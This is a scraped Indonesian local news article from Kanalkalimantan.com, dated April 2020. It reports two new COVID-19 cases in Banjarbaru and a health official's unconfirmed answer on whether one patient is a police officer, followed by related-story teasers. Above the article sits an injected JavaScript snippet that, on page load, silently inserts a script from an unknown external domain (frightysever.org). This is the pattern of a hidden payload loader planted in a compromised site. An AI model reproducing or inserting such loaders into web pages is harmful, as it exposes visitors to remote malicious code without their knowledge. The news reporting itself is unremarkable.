(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Jumlah kasus positif Covid-19 di Kota Banjarbaru kini bertambah menjadi 4 kasus. Munculnya 2 kasus baru ini menimbulkan asumsi di tengah masyarakat. Diduga, salah satu dari pasien yang dinyatakan terpapar covid-19 adalah anggota Polri.
Benarkah? Berikut ulasan Kanalkalimantan.com.
Pada tanggal 13 April 2020, Kepala Dinas Kesehatan (Dinkes) Kota Banjarbaru, Rizana Mirza, menyatakan bahwa ada seorang anggota Polisi yang tinggal di Banjarbaru, ditetapkan statusnya sebagai Pasien Dalam Pengawasan (PDP) covid-19. Hal itu menyusul keluarnya hasil pemeriksaan rapid test anggota polisi tersebut, yang dinyatakan reaktif.
Baca Juga : Anggota Polisi di Banjarbaru Positif Covid-19? Kadinkes : Hasil Rapid Test Menyatakan Reaktif
Diketahui bahwa anggota Polisi tersebut baru-baru saja berpergian ke Provinsi Kalimantan Tengah (Kalteng). Selama berstatus PDP, anggota polisi tersebut dirawat di Rumah Sakit Daerah (RSD) Idaman Banjarbaru.
Menurut data Gugus Tugas Pencegahan Pengendalian Penanganan (P3) Covid-19 Kota Banjarbaru, ada 3 PDP yang menjalani perawatan di RSD Idaman. Termasuk, salah satunya adalah anggota polisi tersebut.
Baca Juga : Dua Kasus Baru Positif Covid-19 di Banjarbaru, Total Jadi 4 Kasus
Terbaru ini, pada Kamis (16/4/2020) sore, 2 dari 3 PDP yang dirawat di RSD Idaman tersebut dinyatakan positif terpapar covid-19. Hal ini dapat dipastikan setelah keluarnya hasil pemeriksan tes swab dari laboratorium. Kedua pasien tersebut adalah laki-laki berusia 31 tahun dan 37 tahun, warga asli Banjarbaru.
Rizana yang juga merangkap sebagai juru bicara Gugus Tugas P3 Covid-19 Banjarbaru, mengungkapkan salah seorang pasien yakni laki-laki yang berusia 31 tahun, pernah beberapa waktu lalu bepergian ke Provinsi Kalteng sebelumnya akhirnya berstatus PDP dan di rawat di RSD Idaman Banjarbaru.
Dari sinilah adanya kecocokan antara anggota polisi yang berstatus PDP dengan pasien laki-laki usia 31 tahun yang baru-baru saja dinyatakan terpapar covid-19.
Namun, saat Kanalkalimantan.com mencoba mengklarifikasi asumsi ini, Rizana belum bisa memastikan hal tersebut. Ia mengatakan bahwa pihaknya harus mengecek terlebih dahulu ke pihak RSD Idaman Banjarbaru.
“Saya tegaskan, ada 3 PDP di RSD Idaman Banjarbaru dan 2 diantaranya positif terpapar covid-19. Bisa saja anggota polisi yang dimaksud adalah 1 PDP sisanya. Kita harus mencari informasi ini terlebih dahulu agar akurat. Jadi untuk saat ini, kita belum bisa membenarkan bahwa pasien yang terpapar adalah anggota polisi,” tuturnya, melalui sambungan telepon.
Tidak putus sampai disini, klarifikasi rencananya juga akan kembali dilanjutkan kepada Polda Kalimantan Selatan. (Kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
This website uses cookies.